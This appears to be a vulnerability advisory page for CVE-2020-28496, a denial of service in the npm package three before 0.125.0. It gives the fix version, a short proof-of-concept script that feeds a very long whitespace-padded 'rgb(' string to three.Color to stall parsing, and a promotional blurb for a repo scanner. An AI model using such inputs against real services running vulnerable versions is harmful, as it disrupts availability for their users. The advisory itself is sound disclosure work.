HighGHSA-fq6p-x6j3-cmmqCVE-2020-28496
Denial of service in three
Published 1 Mar 2021 · Updated 8 Nov 2023
Affected package
threenpm
- Affected
- <0.125.0
- Fixed in
- 0.125.0
Update to the fixed version for your release line, for example:
npm install three@0.125.0Details
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")Is GHSA-fq6p-x6j3-cmmq in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected three, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.